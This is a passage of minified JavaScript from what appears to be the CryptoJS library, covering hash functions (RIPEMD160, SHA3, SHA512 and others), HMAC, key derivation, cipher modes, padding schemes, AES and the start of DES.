9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 